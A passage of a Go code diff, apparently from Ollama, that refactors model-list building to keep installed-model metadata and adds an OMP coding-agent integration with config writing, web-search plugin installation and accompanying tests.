return fmt.Errorf("setup failed: %w", err)
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "This will modify your %s configuration:\n", runner)
|
||||
for _, path := range paths {
|
||||
fmt.Fprintf(os.Stderr, " %s\n", path)
|
||||
if err := config.SaveIntegration(name, []string{model}); err != nil {
|
||||
return fmt.Errorf("failed to save: %w", err)
|
||||
}
|
||||
fmt.Fprintf(os.Stderr, "Backups will be saved to %s/\n\n", fileutil.BackupDir())
|
||||
|
||||
return ConfirmPrompt("Proceed?")
|
||||
return nil
|
||||
}
|
||||
|
||||
// buildModelList merges existing models with recommendations for selection UIs.
|
||||
func buildModelList(existing []modelInfo, preChecked []string, current string) (items []ModelItem, orderedChecked []string, existingModels, cloudModels map[string]bool) {
|
||||
return buildModelListWithRecommendations(existing, recommendedModels, preChecked, current)
|
||||
}
|
||||
|
||||
func buildModelListWithRecommendations(existing []modelInfo, recommendations []ModelItem, preChecked []string, current string) (items []ModelItem, orderedChecked []string, existingModels, cloudModels map[string]bool) {
|
||||
existingModels = make(map[string]bool)
|
||||
cloudModels = make(map[string]bool)
|
||||
recommended := make(map[string]bool)
|
||||
var hasLocalModel, hasCloudModel bool
|
||||
|
||||
recDesc := make(map[string]string)
|
||||
for _, rec := range recommendedModels {
|
||||
recByName := make(map[string]ModelItem)
|
||||
for _, rec := range recommendations {
|
||||
recommended[rec.Name] = true
|
||||
recDesc[rec.Name] = rec.Description
|
||||
recByName[rec.Name] = rec
|
||||
}
|
||||
|
||||
for _, m := range existing {
|
||||
@@ -296,11 +364,14 @@ func buildModelList(existing []modelInfo, preChecked []string, current string) (
|
||||
}
|
||||
displayName := strings.TrimSuffix(m.Name, ":latest")
|
||||
existingModels[displayName] = true
|
||||
item := ModelItem{Name: displayName, Recommended: recommended[displayName], Description: recDesc[displayName]}
|
||||
items = append(items, item)
|
||||
if rec, ok := recByName[displayName]; ok {
|
||||
items = append(items, modelItemFromInventory(displayName, m, copyModelRecommendationFields(displayName, rec)))
|
||||
} else {
|
||||
items = append(items, modelItemFromInventory(displayName, m, ModelItem{Name: displayName, Recommended: recommended[displayName], Description: recDesc[displayName]}))
|
||||
}
|
||||
}
|
||||
|
||||
for _, rec := range recommendedModels {
|
||||
for _, rec := range recommendations {
|
||||
if existingModels[rec.Name] || existingModels[rec.Name+":latest"] {
|
||||
continue
|
||||
}
|
||||
@@ -346,7 +417,7 @@ func buildModelList(existing []modelInfo, preChecked []string, current string) (
|
||||
if items[i].Description != "" {
|
||||
parts = append(parts, items[i].Description)
|
||||
}
|
||||
if vram := recommendedVRAM[items[i].Name]; vram != "" {
|
||||
if vram := displayVRAM(items[i].VRAMBytes); vram != "" {
|
||||
parts = append(parts, vram)
|
||||
}
|
||||
parts = append(parts, "(not downloaded)")
|
||||
@@ -355,23 +426,17 @@ func buildModelList(existing []modelInfo, preChecked []string, current string) (
|
||||
}
|
||||
|
||||
recRank := make(map[string]int)
|
||||
for i, rec := range recommendedModels {
|
||||
for i, rec := range recommendations {
|
||||
recRank[rec.Name] = i + 1
|
||||
}
|
||||
|
||||
if hasLocalModel || hasCloudModel {
|
||||
// Keep the Recommended section pinned to recommendation order. Checked
|
||||
// and default-model priority only apply within the More section.
|
||||
slices.SortStableFunc(items, func(a, b ModelItem) int {
|
||||
ac, bc := checked[a.Name], checked[b.Name]
|
||||
aNew, bNew := notInstalled[a.Name], notInstalled[b.Name]
|
||||
aRec, bRec := recRank[a.Name] > 0, recRank[b.Name] > 0
|
||||
aCloud, bCloud := cloudModels[a.Name], cloudModels[b.Name]
|
||||
|
||||
if ac != bc {
|
||||
if ac {
|
||||
return -1
|
||||
}
|
||||
return 1
|
||||
}
|
||||
if aRec != bRec {
|
||||
if aRec {
|
||||
return -1
|
||||
@@ -379,14 +444,14 @@ func buildModelList(existing []modelInfo, preChecked []string, current string) (
|
||||
return 1
|
||||
}
|
||||
if aRec && bRec {
|
||||
if aCloud != bCloud {
|
||||
if aCloud {
|
||||
return -1
|
||||
}
|
||||
return 1
|
||||
}
|
||||
return recRank[a.Name] - recRank[b.Name]
|
||||
}
|
||||
if ac != bc {
|
||||
if ac {
|
||||
return -1
|
||||
}
|
||||
return 1
|
||||
}
|
||||
// Among checked non-recommended items - put the default first
|
||||
if ac && !aRec && current != "" {
|
||||
aCurrent := a.Name == current
|
||||
@@ -411,22 +476,26 @@ func buildModelList(existing []modelInfo, preChecked []string, current string) (
|
||||
return items, preChecked, existingModels, cloudModels
|
||||
}
|
||||
|
||||
func copyModelRecommendationFields(name string, rec ModelItem) ModelItem {
|
||||
rec.Name = name
|
||||
rec.Recommended = true
|
||||
return rec
|
||||
}
|
||||
|
||||
func modelItemFromInventory(name string, info modelInfo, item ModelItem) ModelItem {
|
||||
item.Name = name
|
||||
item.ToolCapable = info.ToolCapable
|
||||
item.Capabilities = slices.Clone(info.Capabilities)
|
||||
item.Size = info.Size
|
||||
item.Details = info.Details
|
||||
return item
|
||||
}
|
||||
|
||||
// isCloudModelName reports whether the model name has an explicit cloud source.
|
||||
func isCloudModelName(name string) bool {
|
||||
return modelref.HasExplicitCloudSource(name)
|
||||
}
|
||||
|
||||
// filterCloudModels drops remote-only models from the given inventory.
|
||||
func filterCloudModels(existing []modelInfo) []modelInfo {
|
||||
filtered := existing[:0]
|
||||
for _, m := range existing {
|
||||
if !m.Remote {
|
||||
filtered = append(filtered, m)
|
||||
}
|
||||
}
|
||||
return filtered
|
||||
}
|
||||
|
||||
// filterCloudItems removes cloud models from selection items.
|
||||
func filterCloudItems(items []ModelItem) []ModelItem {
|
||||
filtered := items[:0]
|
||||
|
||||
@@ -0,0 +1,83 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
"github.com/ollama/ollama/format"
|
||||
modelpkg "github.com/ollama/ollama/types/model"
|
||||
)
|
||||
|
||||
func TestBuildModelList_UsesInventoryMetadataForInstalledModels(t *testing.T) {
|
||||
existing := []modelInfo{
|
||||
{
|
||||
Name: "custom-tools:latest",
|
||||
ToolCapable: true,
|
||||
Capabilities: []modelpkg.Capability{modelpkg.CapabilityCompletion, modelpkg.CapabilityTools, modelpkg.CapabilityThinking},
|
||||
Size: 7500 * format.MegaByte,
|
||||
Details: api.ModelDetails{
|
||||
ParameterSize: "8B",
|
||||
QuantizationLevel: "Q4_K_M",
|
||||
ContextLength: 131_072,
|
||||
EmbeddingLength: 4096,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
items, _, _, _ := buildModelList(existing, nil, "")
|
||||
var got ModelItem
|
||||
for _, item := range items {
|
||||
if item.Name == "custom-tools" {
|
||||
got = item
|
||||
break
|
||||
}
|
||||
}
|
||||
if got.Name == "" {
|
||||
t.Fatal("custom-tools not found in items")
|
||||
}
|
||||
if !got.ToolCapable {
|
||||
t.Fatal("expected installed model to preserve tool capability from tags metadata")
|
||||
}
|
||||
if got.Details.ContextLength != 131_072 {
|
||||
t.Fatalf("Details.ContextLength = %d, want 131072", got.Details.ContextLength)
|
||||
}
|
||||
if got.Size != 7500*format.MegaByte {
|
||||
t.Fatalf("Size = %d, want %d", got.Size, 7500*format.MegaByte)
|
||||
}
|
||||
if got.Description != "" {
|
||||
t.Fatalf("Description = %q, want empty for installed model without recommendation copy", got.Description)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildModelList_InstalledRecommendedPreservesRecommendationAndMetadata(t *testing.T) {
|
||||
existing := []modelInfo{
|
||||
{
|
||||
Name: "qwen3.5",
|
||||
ToolCapable: true,
|
||||
Capabilities: []modelpkg.Capability{modelpkg.CapabilityCompletion, modelpkg.CapabilityTools, modelpkg.CapabilityVision},
|
||||
Size: 14 * format.GigaByte,
|
||||
Details: api.ModelDetails{ContextLength: 262_144},
|
||||
},
|
||||
}
|
||||
|
||||
items, _, _, _ := buildModelList(existing, nil, "")
|
||||
var got ModelItem
|
||||
for _, item := range items {
|
||||
if item.Name == "qwen3.5" {
|
||||
got = item
|
||||
break
|
||||
}
|
||||
}
|
||||
if got.Name == "" {
|
||||
t.Fatal("qwen3.5 not found in items")
|
||||
}
|
||||
if !got.Recommended || !got.ToolCapable {
|
||||
t.Fatalf("recommended/tool metadata = %v/%v, want true/true", got.Recommended, got.ToolCapable)
|
||||
}
|
||||
if got.Details.ContextLength != 262_144 {
|
||||
t.Fatalf("Details.ContextLength = %d, want 262144", got.Details.ContextLength)
|
||||
}
|
||||
if got.Description != "Reasoning, coding, and visual understanding locally" {
|
||||
t.Fatalf("Description = %q, want recommendation description", got.Description)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,454 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"github.com/ollama/ollama/cmd/config"
|
||||
"github.com/ollama/ollama/cmd/internal/fileutil"
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
"github.com/ollama/ollama/types/model"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
const (
|
||||
ompIntegrationName = "omp"
|
||||
ompProviderName = "ollama"
|
||||
ompSetupVersion = 1
|
||||
ompWebSearchPlugin = "@ollama/pi-web-search"
|
||||
)
|
||||
|
||||
// OMP implements Runner for the OMP coding-agent integration.
|
||||
type OMP struct{}
|
||||
|
||||
func (o *OMP) String() string { return "OMP" }
|
||||
|
||||
func (o *OMP) Paths() []string {
|
||||
var paths []string
|
||||
for _, pathFn := range []func() (string, error){ompModelsPath, ompConfigPath} {
|
||||
path, err := pathFn()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if _, err := os.Stat(path); err == nil {
|
||||
paths = append(paths, path)
|
||||
}
|
||||
}
|
||||
return paths
|
||||
}
|
||||
|
||||
func (o *OMP) Configure(model string) error {
|
||||
return o.ConfigureWithModels(model, []LaunchModel{fallbackLaunchModel(model)})
|
||||
}
|
||||
|
||||
func (o *OMP) ConfigureWithModels(primary string, models []LaunchModel) error {
|
||||
if primary == "" {
|
||||
return nil
|
||||
}
|
||||
if len(models) == 0 {
|
||||
models = []LaunchModel{fallbackLaunchModel(primary)}
|
||||
}
|
||||
if err := writeOMPModelsConfig(primary, models); err != nil {
|
||||
return err
|
||||
}
|
||||
return writeOMPAgentConfig()
|
||||
}
|
||||
|
||||
func (o *OMP) CurrentModel() string {
|
||||
cfg, err := readOMPModelsConfig()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
provider, ok := ompProvider(cfg)
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
if !ompProviderHealthy(provider) {
|
||||
return ""
|
||||
}
|
||||
models, _ := provider["models"].([]any)
|
||||
for _, raw := range models {
|
||||
entry, ok := raw.(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
if id, _ := entry["id"].(string); id != "" {
|
||||
return id
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (o *OMP) Onboard() error {
|
||||
return config.MarkIntegrationOnboarded(ompIntegrationName)
|
||||
}
|
||||
|
||||
func (o *OMP) RequiresInteractiveOnboarding() bool { return false }
|
||||
|
||||
func (o *OMP) args(model string, extra []string) []string {
|
||||
var args []string
|
||||
if model != "" {
|
||||
args = append(args, "--model", ompModelName(model))
|
||||
}
|
||||
args = append(args, extra...)
|
||||
return args
|
||||
}
|
||||
|
||||
func ompModelName(model string) string {
|
||||
if strings.HasPrefix(model, "ollama/") {
|
||||
return model
|
||||
}
|
||||
return "ollama/" + model
|
||||
}
|
||||
|
||||
func (o *OMP) findPath() (string, error) {
|
||||
if p, err := exec.LookPath("omp"); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
for _, dir := range []string{
|
||||
filepath.Join(home, ".local", "bin"),
|
||||
filepath.Join(home, ".bun", "bin"),
|
||||
} {
|
||||
for _, name := range ompExecutableNames() {
|
||||
fallback := filepath.Join(dir, name)
|
||||
if _, err := os.Stat(fallback); err == nil {
|
||||
return fallback, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", exec.ErrNotFound
|
||||
}
|
||||
|
||||
func ompExecutableNames() []string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return []string{"omp.exe", "omp.cmd", "omp.bat"}
|
||||
}
|
||||
return []string{"omp"}
|
||||
}
|
||||
|
||||
func (o *OMP) Run(model string, _ []LaunchModel, args []string) error {
|
||||
ompPath, err := o.findPath()
|
||||
if err != nil {
|
||||
return fmt.Errorf("omp is not installed, install from https://omp.sh")
|
||||
}
|
||||
|
||||
ensureOMPWebSearchPlugin(ompPath)
|
||||
|
||||
cmd := exec.Command(ompPath, o.args(model, args)...)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
cmd.Env = os.Environ()
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func ensureOMPWebSearchPlugin(bin string) {
|
||||
if !shouldManageOllamaWebSearch() {
|
||||
fmt.Fprintf(os.Stderr, "%sCloud is disabled; skipping %s setup.%s\n", ansiGray, ompWebSearchPlugin, ansiReset)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%sChecking OMP web search plugin...%s\n", ansiGray, ansiReset)
|
||||
|
||||
installed, err := ompPluginInstalled(bin, ompWebSearchPlugin)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "%s Warning: could not check %s installation: %v%s\n", ansiYellow, ompWebSearchPlugin, err, ansiReset)
|
||||
return
|
||||
}
|
||||
|
||||
verb := "Installing"
|
||||
warnVerb := "install"
|
||||
doneVerb := "Installed"
|
||||
if installed {
|
||||
verb = "Updating"
|
||||
warnVerb = "update"
|
||||
doneVerb = "Updated"
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%s%s %s...%s\n", ansiGray, verb, ompWebSearchPlugin, ansiReset)
|
||||
cmd := exec.Command(bin, "plugin", "install", ompWebSearchPlugin)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
if err := cmd.Run(); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "%s Warning: could not %s %s: %v%s\n", ansiYellow, warnVerb, ompWebSearchPlugin, err, ansiReset)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%s ✓ %s %s%s\n", ansiGreen, doneVerb, ompWebSearchPlugin, ansiReset)
|
||||
}
|
||||
|
||||
func ompPluginInstalled(bin, plugin string) (bool, error) {
|
||||
cmd := exec.Command(bin, "plugin", "list")
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
msg := strings.TrimSpace(string(out))
|
||||
if msg == "" {
|
||||
return false, err
|
||||
}
|
||||
return false, fmt.Errorf("%w: %s", err, msg)
|
||||
}
|
||||
|
||||
versioned := plugin + "@"
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
trimmed := strings.TrimSpace(line)
|
||||
if strings.Contains(trimmed, versioned) || trimmed == plugin {
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
func ompModelsPath() (string, error) {
|
||||
dir, err := ompAgentDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(dir, "models.yml"), nil
|
||||
}
|
||||
|
||||
func ompConfigPath() (string, error) {
|
||||
dir, err := ompAgentDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(dir, "config.yml"), nil
|
||||
}
|
||||
|
||||
func ompAgentDir() (string, error) {
|
||||
if dir := strings.TrimSpace(os.Getenv("PI_CODING_AGENT_DIR")); dir != "" {
|
||||
return dir, nil
|
||||
}
|
||||
|
||||
home, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
configDir := strings.TrimSpace(os.Getenv("PI_CONFIG_DIR"))
|
||||
if configDir == "" {
|
||||
configDir = ".omp"
|
||||
}
|
||||
if filepath.IsAbs(configDir) {
|
||||
return filepath.Join(configDir, "agent"), nil
|
||||
}
|
||||
return filepath.Join(home, configDir, "agent"), nil
|
||||
}
|
||||
|
||||
func readOMPModelsConfig() (map[string]any, error) {
|
||||
path, err := ompModelsPath()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var cfg map[string]any
|
||||
if err := yaml.Unmarshal(data, &cfg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if cfg == nil {
|
||||
cfg = make(map[string]any)
|
||||
}
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
func writeOMPModelsConfig(primary string, models []LaunchModel) error {
|
||||
path, err := ompModelsPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cfg := make(map[string]any)
|
||||
if existing, err := readOMPModelsConfig(); err == nil {
|
||||
cfg = existing
|
||||
}
|
||||
|
||||
provider := ensureOMPProvider(cfg)
|
||||
existingByID := ompModelEntriesByID(provider)
|
||||
ordered := append([]LaunchModel(nil), models...)
|
||||
if model, ok := findLaunchModel(ordered, primary); ok {
|
||||
ordered = append([]LaunchModel{model}, removeLaunchModel(ordered, primary)...)
|
||||
} else {
|
||||
ordered = append([]LaunchModel{fallbackLaunchModel(primary)}, ordered...)
|
||||
}
|
||||
|
||||
var merged []any
|
||||
seen := make(map[string]bool, len(ordered))
|
||||
for _, model := range ordered {
|
||||
if model.Name == "" || seen[model.Name] {
|
||||
continue
|
||||
}
|
||||
seen[model.Name] = true
|
||||
entry := ompModelConfig(model)
|
||||
if existing, ok := existingByID[model.Name]; ok {
|
||||
for key, value := range existing {
|
||||
if _, overridden := entry[key]; !overridden {
|
||||
entry[key] = value
|
||||
}
|
||||
}
|
||||
}
|
||||
merged = append(merged, entry)
|
||||
}
|
||||
|
||||
for _, raw := range ompProviderModels(provider) {
|
||||
entry, ok := raw.(map[string]any)
|
||||
if !ok {
|
||||
merged = append(merged, raw)
|
||||
continue
|
||||
}
|
||||
id, _ := entry["id"].(string)
|
||||
if id == "" || seen[id] {
|
||||
continue
|
||||
}
|
||||
merged = append(merged, entry)
|
||||
}
|
||||
provider["models"] = merged
|
||||
|
||||
data, err := yaml.Marshal(cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(path, data, ompIntegrationName)
|
||||
}
|
||||
|
||||
func writeOMPAgentConfig() error {
|
||||
path, err := ompConfigPath()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cfg := make(map[string]any)
|
||||
if data, err := os.ReadFile(path); err == nil {
|
||||
if err := yaml.Unmarshal(data, &cfg); err != nil {
|
||||
return err
|
||||
}
|
||||
if cfg == nil {
|
||||
cfg = make(map[string]any)
|
||||
}
|
||||
}
|
||||
cfg["setupVersion"] = ompSetupVersion
|
||||
|
||||
data, err := yaml.Marshal(cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return fileutil.WriteWithBackup(path, data, ompIntegrationName)
|
||||
}
|
||||
|
||||
func ensureOMPProvider(cfg map[string]any) map[string]any {
|
||||
providers, _ := cfg["providers"].(map[string]any)
|
||||
if providers == nil {
|
||||
providers = make(map[string]any)
|
||||
cfg["providers"] = providers
|
||||
}
|
||||
provider, _ := providers[ompProviderName].(map[string]any)
|
||||
if provider == nil {
|
||||
provider = make(map[string]any)
|
||||
providers[ompProviderName] = provider
|
||||
}
|
||||
|
||||
provider["baseUrl"] = ompBaseURL()
|
||||
provider["api"] = "openai-responses"
|
||||
provider["auth"] = "none"
|
||||
provider["discovery"] = map[string]any{"type": "ollama"}
|
||||
return provider
|
||||
}
|
||||
|
||||
func ompBaseURL() string {
|
||||
return strings.TrimRight(envconfig.ConnectableHost().String(), "/") + "/v1"
|
||||
}
|
||||
|
||||
func ompProviderHealthy(provider map[string]any) bool {
|
||||
baseURL, _ := provider["baseUrl"].(string)
|
||||
if strings.TrimRight(baseURL, "/") != strings.TrimRight(ompBaseURL(), "/") {
|
||||
return false
|
||||
}
|
||||
api, _ := provider["api"].(string)
|
||||
if api != "openai-responses" {
|
||||
return false
|
||||
}
|
||||
auth, _ := provider["auth"].(string)
|
||||
if auth != "none" {
|
||||
return false
|
||||
}
|
||||
discovery, _ := provider["discovery"].(map[string]any)
|
||||
if discovery == nil {
|
||||
return false
|
||||
}
|
||||
discoveryType, _ := discovery["type"].(string)
|
||||
return discoveryType == "ollama"
|
||||
}
|
||||
|
||||
func ompProvider(cfg map[string]any) (map[string]any, bool) {
|
||||
providers, ok := cfg["providers"].(map[string]any)
|
||||
if !ok {
|
||||
return nil, false
|
||||
}
|
||||
provider, ok := providers[ompProviderName].(map[string]any)
|
||||
return provider, ok
|
||||
}
|
||||
|
||||
func ompProviderModels(provider map[string]any) []any {
|
||||
models, _ := provider["models"].([]any)
|
||||
return models
|
||||
}
|
||||
|
||||
func ompModelEntriesByID(provider map[string]any) map[string]map[string]any {
|
||||
out := make(map[string]map[string]any)
|
||||
for _, raw := range ompProviderModels(provider) {
|
||||
entry, ok := raw.(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
if id, _ := entry["id"].(string); id != "" {
|
||||
out[id] = entry
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func ompModelConfig(modelInfo LaunchModel) map[string]any {
|
||||
entry := map[string]any{
|
||||
"id": modelInfo.Name,
|
||||
"name": modelInfo.Name,
|
||||
}
|
||||
input := []string{"text"}
|
||||
if slices.Contains(modelInfo.Capabilities, model.CapabilityVision) {
|
||||
input = append(input, "image")
|
||||
}
|
||||
entry["input"] = input
|
||||
|
||||
if modelInfo.ContextLength > 0 {
|
||||
entry["contextWindow"] = modelInfo.ContextLength
|
||||
}
|
||||
if modelInfo.MaxOutputTokens > 0 {
|
||||
entry["maxTokens"] = modelInfo.MaxOutputTokens
|
||||
}
|
||||
return entry
|
||||
}
|
||||
|
||||
func removeLaunchModel(models []LaunchModel, name string) []LaunchModel {
|
||||
out := make([]LaunchModel, 0, len(models))
|
||||
for _, model := range models {
|
||||
if launchModelMatches(model.Name, name) || launchModelMatches(name, model.Name) {
|
||||
continue
|
||||
}
|
||||
out = append(out, model)
|
||||
}
|
||||
return out
|
||||
}
|
||||
@@ -0,0 +1,687 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
modelpkg "github.com/ollama/ollama/types/model"
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
func TestMain(m *testing.M) {
|
||||
if os.Getenv("OLLAMA_LAUNCH_OMP_TEST_HELPER") == "1" {
|
||||
runOMPTestHelper()
|
||||
return
|
||||
}
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
|
||||
func runOMPTestHelper() {
|
||||
logPath := os.Getenv("OLLAMA_LAUNCH_OMP_TEST_LOG")
|
||||
if logPath != "" {
|
||||
f, err := os.OpenFile(logPath, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0o644)
|
||||
if err == nil {
|
||||
_, _ = fmt.Fprintln(f, strings.Join(os.Args[1:], " "))
|
||||
_ = f.Close()
|
||||
}
|
||||
}
|
||||
|
||||
if len(os.Args) >= 3 && os.Args[1] == "plugin" && os.Args[2] == "list" {
|
||||
fmt.Print(os.Getenv("OLLAMA_LAUNCH_OMP_TEST_PLUGIN_LIST"))
|
||||
os.Exit(0)
|
||||
}
|
||||
if len(os.Args) >= 4 && os.Args[1] == "plugin" && os.Args[2] == "install" {
|
||||
if os.Getenv("OLLAMA_LAUNCH_OMP_TEST_FAIL_INSTALL") == "1" {
|
||||
_, _ = fmt.Fprintln(os.Stderr, "install failed")
|
||||
os.Exit(1)
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
func setOMPTestHome(t *testing.T, dir string) {
|
||||
t.Helper()
|
||||
setTestHome(t, dir)
|
||||
t.Setenv("PI_CONFIG_DIR", "")
|
||||
t.Setenv("PI_CODING_AGENT_DIR", "")
|
||||
}
|
||||
|
||||
func TestOMPIntegration(t *testing.T) {
|
||||
o := &OMP{}
|
||||
|
||||
t.Run("String", func(t *testing.T) {
|
||||
if got := o.String(); got != "OMP" {
|
||||
t.Errorf("String() = %q, want %q", got, "OMP")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("implements Runner", func(t *testing.T) {
|
||||
var _ Runner = o
|
||||
})
|
||||
|
||||
t.Run("implements ManagedSingleModel", func(t *testing.T) {
|
||||
var _ ManagedSingleModel = o
|
||||
})
|
||||
|
||||
t.Run("implements ManagedModelListConfigurer", func(t *testing.T) {
|
||||
var _ ManagedModelListConfigurer = o
|
||||
})
|
||||
|
||||
t.Run("does not require interactive onboarding", func(t *testing.T) {
|
||||
var _ ManagedInteractiveOnboarding = o
|
||||
if o.RequiresInteractiveOnboarding() {
|
||||
t.Fatal("OMP onboarding should not require an interactive terminal")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestOMPArgs(t *testing.T) {
|
||||
o := &OMP{}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
model string
|
||||
args []string
|
||||
want []string
|
||||
}{
|
||||
{"with model", "gemma4", nil, []string{"--model", "ollama/gemma4"}},
|
||||
{"with cloud model", "kimi-k2.6:cloud", nil, []string{"--model", "ollama/kimi-k2.6:cloud"}},
|
||||
{"empty model", "", nil, nil},
|
||||
{"with model and extra", "gemma4", []string{"--help"}, []string{"--model", "ollama/gemma4", "--help"}},
|
||||
{"already qualified", "ollama/gemma4", nil, []string{"--model", "ollama/gemma4"}},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := o.args(tt.model, tt.args)
|
||||
if !slices.Equal(got, tt.want) {
|
||||
t.Errorf("args(%q, %v) = %v, want %v", tt.model, tt.args, got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestOMPRun_WebSearchPluginLifecycle(t *testing.T) {
|
||||
seedOMPHelperBinary := func(t *testing.T, dir string) {
|
||||
t.Helper()
|
||||
src, err := os.Executable()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
data, err := os.ReadFile(src)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
dst := filepath.Join(dir, ompExecutableNames()[0])
|
||||
if err := os.WriteFile(dst, data, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
setCloudStatus := func(t *testing.T, disabled bool) {
|
||||
t.Helper()
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path == "/api/status" {
|
||||
fmt.Fprintf(w, `{"cloud":{"disabled":%t,"source":"config"}}`, disabled)
|
||||
return
|
||||
}
|
||||
http.NotFound(w, r)
|
||||
}))
|
||||
t.Cleanup(srv.Close)
|
||||
t.Setenv("OLLAMA_HOST", srv.URL)
|
||||
}
|
||||
|
||||
setup := func(t *testing.T, pluginList string, cloudDisabled bool) (string, *OMP) {
|
||||
t.Helper()
|
||||
tmpDir := t.TempDir()
|
||||
setOMPTestHome(t, tmpDir)
|
||||
t.Setenv("PATH", tmpDir)
|
||||
t.Setenv("OLLAMA_LAUNCH_OMP_TEST_HELPER", "1")
|
||||
t.Setenv("OLLAMA_LAUNCH_OMP_TEST_PLUGIN_LIST", pluginList)
|
||||
logPath := filepath.Join(tmpDir, "omp.log")
|
||||
t.Setenv("OLLAMA_LAUNCH_OMP_TEST_LOG", logPath)
|
||||
setCloudStatus(t, cloudDisabled)
|
||||
seedOMPHelperBinary(t, tmpDir)
|
||||
return logPath, &OMP{}
|
||||
}
|
||||
|
||||
t.Run("web search missing installs before launch", func(t *testing.T) {
|
||||
logPath, o := setup(t, "No plugins installed\n", false)
|
||||
|
||||
if err := o.Run("kimi-k2.6:cloud", nil, []string{"session"}); err != nil {
|
||||
t.Fatalf("Run() error = %v", err)
|
||||
}
|
||||
|
||||
calls, err := os.ReadFile(logPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got := string(calls)
|
||||
if !strings.Contains(got, "plugin list\n") {
|
||||
t.Fatalf("expected plugin list call, got:\n%s", got)
|
||||
}
|
||||
if !strings.Contains(got, "plugin install "+ompWebSearchPlugin+"\n") {
|
||||
t.Fatalf("expected plugin install call, got:\n%s", got)
|
||||
}
|
||||
if !strings.Contains(got, "--model ollama/kimi-k2.6:cloud session\n") {
|
||||
t.Fatalf("expected final omp launch call, got:\n%s", got)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("web search present refreshes before launch", func(t *testing.T) {
|
||||
logPath, o := setup(t, "npm Plugins:\n\n● "+ompWebSearchPlugin+"@0.0.5\n", false)
|
||||
|
||||
if err := o.Run("gemma4", nil, []string{"chat"}); err != nil {
|
||||
t.Fatalf("Run() error = %v", err)
|
||||
}
|
||||
|
||||
calls, err := os.ReadFile(logPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
